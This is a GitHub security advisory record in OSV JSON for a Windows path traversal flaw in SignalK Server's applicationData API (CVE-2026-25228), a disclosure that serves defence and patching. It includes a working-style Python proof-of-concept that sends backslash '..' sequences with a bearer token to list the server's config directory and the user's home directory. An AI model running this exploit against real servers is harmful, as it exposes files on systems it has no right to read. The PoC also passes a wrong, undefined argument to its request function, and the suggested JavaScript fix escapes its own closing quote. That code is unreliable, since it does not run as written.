{"id":"GHSA-vrhw-v2hw-jffx","summary":"SignalK Server has Path Traversal leading to information disclosure","details":"### Summary\nA Path Traversal vulnerability in SignalK Server's `applicationData` API allows authenticated users on Windows systems to read, write, and list arbitrary files and directories on the filesystem. The `validateAppId()` function blocks forward slashes (`/`) but not backslashes (`\\`), which are treated as directory separators by `path.join()` on Windows. This enables attackers to escape the intended `applicationData` directory.\n\n### Details\n**Platform**: Windows (Linux only allows traversal up a single directory)\n**Authentication Required**: Yes (ability to write depends on user's permission)\n\nThe vulnerability exists in the `validateAppId()` function within the applicationData API handler. This function validates the `appid` parameter but only checks for forward slashes:\n\n```javascript\n// Simplified vulnerable code pattern\nfunction validateAppId(appid) {\n  if (appid.includes('/') || appid.length \u003e= 30) {\n    return false;\n  }\n  return true;\n}\n\n// Later used in path construction\nconst dataPath = path.join(configPath, 'applicationData', 'users', deviceId, appid);\n```\n\n**Root Cause:**\n- The validation only blocks `/` characters\n- On Windows, `path.join()` uses the platform's native path separator\n- Windows treats both `/` and `\\` as valid directory separators\n- Backslash-based traversal sequences like `..\\..\\..` pass validation\n- When `path.join()` processes these on Windows, each `..` traverses up one directory level\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport argparse\nimport http.client\nimport json\nimport sys\nfrom urllib.parse import urlparse\n\nPREFIX = \"/signalk/v1/applicationData\"\n\n\ndef raw_get(base, path, token):\n    \"\"\"\n    GET using http.client so that '..' and backslashes in the URL\n    are sent literally (requests/urllib would normalise them away).\n    \"\"\"\n    parsed = urlparse(base)\n    host, port = parsed.hostname, parsed.port or 80\n    conn = http.client.HTTPConnection(host, port)\n    conn.request(\"GET\", path, headers={\"Authorization\": f\"Bearer {token}\"})\n    resp = conn.getresponse()\n    status = resp.status\n    body = resp.read().decode(\"utf-8\", errors=\"replace\")\n    conn.close()\n    return status, body\n\n\ndef main():\n    ap = argparse.ArgumentParser(description=\"Signal K Windows path traversal PoC\")\n    ap.add_argument(\"--target\", required=True, help=\"e.g. http://192.168.1.100:3000\")\n    ap.add_argument(\"--token\", required=True, help=\"any valid JWT token\")\n    args = ap.parse_args()\n\n    base = args.target.rstrip(\"/\")\n\n    # On Windows, path.join(configPath, \"applicationData\", \"users\", id, appid)\n    # resolves each '..' upward when separated by backslashes.\n    #\n    # Depth from base (configPath/applicationData/users/):\n    #   ..              → applicationData/users/          (1 level)\n    #   ..\\..           → applicationData/                (2 levels)\n    #   ..\\..\\..        → configPath (.signalk)           (3 levels)\n    #   ..\\..\\..\\..     → user home directory             (4 levels)\n\n    traversals = [\n        (\"..\\\\..\\\\..\\\\\", \".signalk config directory\"),\n        (\"..\\\\..\\\\..\\\\..\\\\\", \"user home directory\"),\n    ]\n\n    for appid, description in traversals:\n        path = f\"{PREFIX}/user/{appid}\"\n        status, body = raw_get(base, path, token, args.token)\n\n        print(f\"[{status}] {description}\")\n        print(f\"  GET {path}\")\n\n        if status == 200:\n            try:\n                entries = json.loads(body)\n                for entry in entries:\n                    print(f\"    {entry}\")\n            except json.JSONDecodeError:\n                print(f\"    {body[:200]}\")\n        else:\n            print(f\"    {body[:200]}\")\n        print()\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n**Reproduction Steps:**\n\n1. Set up SignalK Server on a Windows machine\n2. Obtain a valid device or user authentication token\n3. Run the PoC script:\n   ```bash\n   python3 poc_windows_appid_traversal.py --target http://[signalK server IP]:3000 --token \u003cYOUR_TOKEN\u003e\n   ```\n\n### Recommended Fix\n\n**Short-term:**\n1. Add backslash validation to `validateAppId()`:\n   ```javascript\n   function validateAppId(appid) {\n     if (appid.includes('/') || appid.includes('\\') || appid.length \u003e= 30) {\n       return false;\n     }\n     return true;\n   }\n   ```\n\n2. Use `path.normalize()` and validate that resolved paths remain within the intended directory:\n   ```javascript\n   const resolvedPath = path.normalize(path.join(baseDir, appid));\n   if (!resolvedPath.startsWith(path.normalize(baseDir))) {\n     throw new Error('Invalid path');\n   }\n   ```","aliases":["CVE-2026-25228"],"modified":"2026-02-03T17:48:55.832232Z","published":"2026-02-02T22:26:31Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-02-02T22:26:31Z","nvd_published_at":"2026-02-02T23:16:10Z","cwe_ids":["CWE-22"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/SignalK/signalk-server/security/advisories/GHSA-vrhw-v2hw-jffx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25228"},{"type":"WEB","url":"https://github.com/SignalK/signalk-server/commit/9bcf61c8fe2cb8a40998b913a02fb64dff9e86c7"},{"type":"PACKAGE","url":"https://github.com/SignalK/signalk-server"}],"affected":[{"package":{"name":"signalk-server","ecosystem":"npm","purl":"pkg:npm/signalk-server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.20.3"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 2.20.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-vrhw-v2hw-jffx/GHSA-vrhw-v2hw-jffx.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N"}]}